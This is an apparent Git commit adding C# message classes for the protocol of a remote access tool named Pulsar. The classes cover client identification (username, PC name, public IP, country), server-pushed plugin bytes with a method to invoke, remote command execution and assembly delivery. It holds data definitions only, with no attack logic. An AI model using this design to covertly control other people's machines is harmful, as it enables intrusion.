initial commit
This commit is contained in:
@@ -0,0 +1,47 @@
|
||||
using MessagePack;
|
||||
|
||||
namespace Pulsar.Common.Messages.Other
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class ClientIdentification : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string Version { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string OperatingSystem { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public string AccountType { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public string Country { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public string CountryCode { get; set; }
|
||||
|
||||
[Key(6)]
|
||||
public int ImageIndex { get; set; }
|
||||
|
||||
[Key(7)]
|
||||
public string Id { get; set; }
|
||||
|
||||
[Key(8)]
|
||||
public string Username { get; set; }
|
||||
|
||||
[Key(9)]
|
||||
public string PcName { get; set; }
|
||||
|
||||
[Key(10)]
|
||||
public string Tag { get; set; }
|
||||
|
||||
[Key(11)]
|
||||
public string EncryptionKey { get; set; }
|
||||
|
||||
[Key(12)]
|
||||
public byte[] Signature { get; set; }
|
||||
|
||||
[Key(13)]
|
||||
public string PublicIP { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
using MessagePack;
|
||||
|
||||
namespace Pulsar.Common.Messages.Other
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class ClientIdentificationResult : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public bool Result { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
using MessagePack;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace Pulsar.Common.Messages.Other
|
||||
{
|
||||
/// <summary>
|
||||
/// Package containing one or more deferred assemblies delivered from the server to the client.
|
||||
/// </summary>
|
||||
[MessagePackObject]
|
||||
public class DeferredAssembliesPackage : IMessage
|
||||
{
|
||||
/// <summary>
|
||||
/// The assemblies delivered within this package.
|
||||
/// </summary>
|
||||
[Key(1)]
|
||||
public List<DeferredAssemblyDescriptor> Assemblies { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Indicates whether this is the final package in the current transfer sequence.
|
||||
/// </summary>
|
||||
[Key(2)]
|
||||
public bool IsComplete { get; set; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Descriptor describing a single deferred assembly payload.
|
||||
/// </summary>
|
||||
[MessagePackObject]
|
||||
public class DeferredAssemblyDescriptor
|
||||
{
|
||||
/// <summary>
|
||||
/// Simple assembly name, e.g. "SharpDX.Direct3D11".
|
||||
/// </summary>
|
||||
[Key(1)]
|
||||
public string Name { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Optional assembly version information.
|
||||
/// </summary>
|
||||
[Key(2)]
|
||||
public string Version { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Raw assembly bytes. May be null if the server could not locate the assembly.
|
||||
/// </summary>
|
||||
[Key(3)]
|
||||
public byte[] Data { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// SHA-256 hash of the assembly bytes for integrity validation (hex encoded).
|
||||
/// </summary>
|
||||
[Key(4)]
|
||||
public string Sha256 { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
[MessagePackObject]
|
||||
public sealed class DoExecuteUniversalCommand : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string PluginId { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string Command { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public byte[] Parameters { get; set; }
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
[MessagePackObject]
|
||||
public sealed class DoLoadUniversalPlugin : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string PluginId { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public byte[] PluginBytes { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public byte[] InitData { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public string TypeName { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public string MethodName { get; set; }
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
[MessagePackObject]
|
||||
public sealed class DoUniversalPluginResponse : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string PluginId { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public string Command { get; set; }
|
||||
|
||||
[Key(3)]
|
||||
public bool Success { get; set; }
|
||||
|
||||
[Key(4)]
|
||||
public string Message { get; set; }
|
||||
|
||||
[Key(5)]
|
||||
public byte[] Data { get; set; }
|
||||
|
||||
[Key(6)]
|
||||
public bool ShouldUnload { get; set; }
|
||||
|
||||
[Key(7)]
|
||||
public string NextCommand { get; set; }
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
namespace Pulsar.Common.Messages.Other
|
||||
{
|
||||
public interface IMessage
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
|
||||
namespace Pulsar.Common.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides basic functionality to process messages.
|
||||
/// </summary>
|
||||
public interface IMessageProcessor
|
||||
{
|
||||
/// <summary>
|
||||
/// Decides whether this message processor can execute the specified message.
|
||||
/// </summary>
|
||||
/// <param name="message">The message to execute.</param>
|
||||
/// <returns><c>True</c> if the message can be executed by this message processor, otherwise <c>false</c>.</returns>
|
||||
bool CanExecute(IMessage message);
|
||||
|
||||
/// <summary>
|
||||
/// Decides whether this message processor can execute messages received from the sender.
|
||||
/// </summary>
|
||||
/// <param name="sender">The sender of a message.</param>
|
||||
/// <returns><c>True</c> if this message processor can execute messages from the sender, otherwise <c>false</c>.</returns>
|
||||
bool CanExecuteFrom(ISender sender);
|
||||
|
||||
/// <summary>
|
||||
/// Executes the received message.
|
||||
/// </summary>
|
||||
/// <param name="sender">The sender of this message.</param>
|
||||
/// <param name="message">The received message.</param>
|
||||
void Execute(ISender sender, IMessage message);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
using MessagePack;
|
||||
|
||||
namespace Pulsar.Common.Messages.Other
|
||||
{
|
||||
/// <summary>
|
||||
/// Client request asking the server to deliver one or more deferred assemblies.
|
||||
/// </summary>
|
||||
[MessagePackObject]
|
||||
public class RequestDeferredAssemblies : IMessage
|
||||
{
|
||||
/// <summary>
|
||||
/// Gets or sets the list of assembly simple names the client is missing.
|
||||
/// </summary>
|
||||
[Key(1)]
|
||||
public string[] Assemblies { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Optional version information so the server can pick an appropriate bundle.
|
||||
/// </summary>
|
||||
[Key(2)]
|
||||
public string ClientVersion { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
using MessagePack;
|
||||
|
||||
namespace Pulsar.Common.Messages.Other
|
||||
{
|
||||
[MessagePackObject]
|
||||
public sealed class SecureMessageEnvelope : IMessage
|
||||
{
|
||||
[Key(0)]
|
||||
public byte[] Payload { get; set; }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
using System;
|
||||
using MessagePack;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
|
||||
namespace Pulsar.Common.Messages.Other
|
||||
{
|
||||
[MessagePackObject]
|
||||
public class StartProcessOnMonitor : IMessage
|
||||
{
|
||||
[Key(1)]
|
||||
public string Application { get; set; }
|
||||
|
||||
[Key(2)]
|
||||
public int MonitorID { get; set; }
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user